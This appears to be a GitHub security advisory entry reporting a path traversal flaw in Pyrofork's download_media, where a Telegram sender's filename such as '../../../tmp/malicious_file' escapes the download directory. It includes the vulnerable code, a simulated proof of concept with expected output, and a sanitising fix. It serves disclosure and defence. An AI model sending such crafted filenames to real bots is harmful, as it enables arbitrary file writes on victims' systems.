+ "details": "## Summary\n\nThe `download_media` method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., `../`) or absolute paths in the filename.\n\n---\n\n## Details\n\nWhen downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the `file_name` attribute from the media object. This attribute originates from Telegram's `DocumentAttributeFilename` and is controlled by the message sender.\n\n### Vulnerable Code Path\n\n**Step 1**: In `pyrogram/methods/messages/download_media.py` (lines 145-151):\n\n```python\nmedia_file_name = getattr(media, \"file_name\", \"\") # Value from Telegram message\n\ndirectory, file_name = os.path.split(file_name) # Split user's path parameter\nfile_name = file_name or media_file_name or \"\" # Falls back to media_file_name if empty\n```\n\nWhen a user calls `download_media(message)` or `download_media(message, \"downloads/\")`, the `os.path.split()` returns an empty filename, causing the code to use `media_file_name` which is attacker-controlled.\n\n**Step 2**: In `pyrogram/client.py` (line 1125):\n\n```python\ntemp_file_path = os.path.abspath(re.sub(\"\\\\\\\\\", \"/\", os.path.join(directory, file_name))) + \".temp\"\n```\n\nThe `os.path.join()` function does not prevent path traversal. When `file_name` contains `../` sequences or is an absolute path, it allows writing outside the intended download directory.\n\n### Why the existing `isabs` check is insufficient\n\nThe check at line 153 in `download_media.py`:\n\n```python\nif not os.path.isabs(file_name):\n directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR)\n```\n\nThis check only handles absolute paths by skipping the directory prefix, but:\n1. For relative paths with `../`, `os.path.isabs()` returns `False`, so the check doesn't catch it\n2. For absolute paths, `os.path.join()` in the next step will still use the absolute path directly\n\n---\n\n## PoC\n\nThe following Python script demonstrates the vulnerability by simulating the exact code logic from `download_media.py` and `client.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPath Traversal PoC for Pyrofork download_media\nDemonstrates CWE-22 vulnerability in filename handling\n\"\"\"\n\nimport os\nimport shutil\nimport tempfile\nfrom pathlib import Path\nfrom dataclasses import dataclass\n\n@dataclass\nclass MockDocument:\n \"\"\"Simulates a Telegram Document with attacker-controlled file_name\"\"\"\n file_id: str\n file_name: str # Attacker-controlled!\n\n@dataclass \nclass MockMessage:\n \"\"\"Simulates a Telegram Message\"\"\"\n document: MockDocument\n\nDEFAULT_DOWNLOAD_DIR = \"downloads/\"\n\ndef vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR):\n \"\"\"\n Simulates the vulnerable logic from:\n - pyrogram/methods/messages/download_media.py (lines 145-154)\n - pyrogram/client.py (line 1125)\n \"\"\"\n media = message.document\n media_file_name = getattr(media, \"file_name\", \"\")\n \n # Line 150-151: Split and fallback\n directory, file_name = os.path.split(file_name)\n file_name = file_name or media_file_name or \"\"\n \n # Line 153-154: isabs check (insufficient!)\n if not os.path.isabs(file_name):\n directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR)\n \n if not file_name:\n file_name = \"generated_file.bin\"\n \n # Line 1125 in client.py: Path construction\n import re\n temp_file_path = os.path.abspath(\n re.sub(\"\\\\\\\\\", \"/\", os.path.join(str(directory), file_name))\n ) + \".temp\"\n \n return temp_file_path\n\ndef run_poc():\n print(\"=\" * 60)\n print(\"PYROFORK PATH TRAVERSAL PoC\")\n print(\"=\" * 60)\n \n with tempfile.TemporaryDirectory() as temp_base:\n parent_dir = Path(temp_base)\n expected_dir = str(parent_dir / \"downloads\")\n \n print(f\"\\n[*] Bot working directory: {parent_dir}\")\n print(f\"[*] Expected download dir: {expected_dir}\")\n \n # Attack: Path traversal with ../\n print(\"\\n\" + \"-\" * 60)\n print(\"TEST: Path Traversal Attack\")\n print(\"-\" * 60)\n \n malicious_msg = MockMessage(\n document=MockDocument(\n file_id=\"test_id\",\n file_name=\"../../../tmp/malicious_file\"\n )\n )\n \n result_path = vulnerable_download_media(\n parent_dir=parent_dir,\n message=malicious_msg,\n file_name=\"downloads/\"\n )\n \n # Remove .temp suffix for final path\n final_path = os.path.splitext(result_path)[0]\n \n print(f\"[*] Malicious filename: ../../../tmp/malicious_file\")\n print(f\"[*] Resulting path: {final_path}\")\n \n if not final_path.startswith(expected_dir):\n print(f\"\\n[!] VULNERABILITY CONFIRMED\")\n print(f\"[!] File path escapes intended directory!\")\n print(f\"[!] Expected: {expected_dir}/...\")\n print(f\"[!] Actual: {final_path}\")\n else:\n print(\"[*] Path is within expected directory\")\n\nif __name__ == \"__main__\":\n run_poc()\n```\n\n### How to Run\n\nSave the above script and run:\n\n```bash\npython3 poc_script.py\n```\n\n### Expected Output\n\n```\n============================================================\nPYROFORK PATH TRAVERSAL PoC\n============================================================\n\n[*] Bot working directory: /tmp/tmpXXXXXX\n[*] Expected download dir: /tmp/tmpXXXXXX/downloads\n\n------------------------------------------------------------\nTEST: Path Traversal Attack\n------------------------------------------------------------\n[*] Malicious filename: ../../../tmp/malicious_file\n[*] Resulting path: /tmp/malicious_file\n\n[!] VULNERABILITY CONFIRMED\n[!] File path escapes intended directory!\n[!] Expected: /tmp/tmpXXXXXX/downloads/...\n[!] Actual: /tmp/malicious_file\n```\n\n### Why This Proves the Vulnerability\n\n1. The PoC uses the **exact same logic** as the vulnerable code in `download_media.py` and `client.py`\n2. The malicious filename `../../../tmp/malicious_file` causes the path to escape from `/tmp/tmpXXX/downloads/` to `/tmp/malicious_file`\n3. Python's `os.path.join()` and `os.path.abspath()` behavior is deterministic - this will work the same way in the real library\n\n---\n\n## Impact\n\n### Who is affected?\n\n- Telegram bots or user accounts using Pyrofork that download media with default parameters\n- The common usage pattern `await client.download_media(message)` is affected\n\n### Conditions required for exploitation\n\n1. Attacker must be able to send messages to the victim's bot/account\n2. Victim must download the media without specifying a custom filename\n3. The bot process must have write permissions to the target location\n\n### Potential consequences\n\n- **Arbitrary file write** to locations writable by the bot process\n- Overwriting existing files could cause denial of service or configuration issues\n- In specific deployment scenarios, could potentially lead to code execution (e.g., if bot runs with elevated privileges)\n\n---\n\n## Recommended Fix\n\nAdd filename sanitization in `download_media.py` after line 151:\n\n```python\nfile_name = file_name or media_file_name or \"\"\n\n# Add this sanitization block:\nif file_name:\n # Remove any path components, keeping only the basename\n file_name = os.path.basename(file_name)\n # Remove null bytes which could cause issues\n file_name = file_name.replace('\\x00', '')\n # Handle edge cases\n if not file_name or file_name in ('.', '..'):\n file_name = \"\"\n```\n\nThis ensures that only the filename component is used, stripping any directory traversal sequences or absolute paths.\n\n---\n\nThank you for your time in reviewing this report. Please let me know if you need any additional information or clarification.",
![advisory-database[bot]](https://avatars.githubusercontent.com/in/21409?v=4&size=40){kind=avatar}
0 commit comments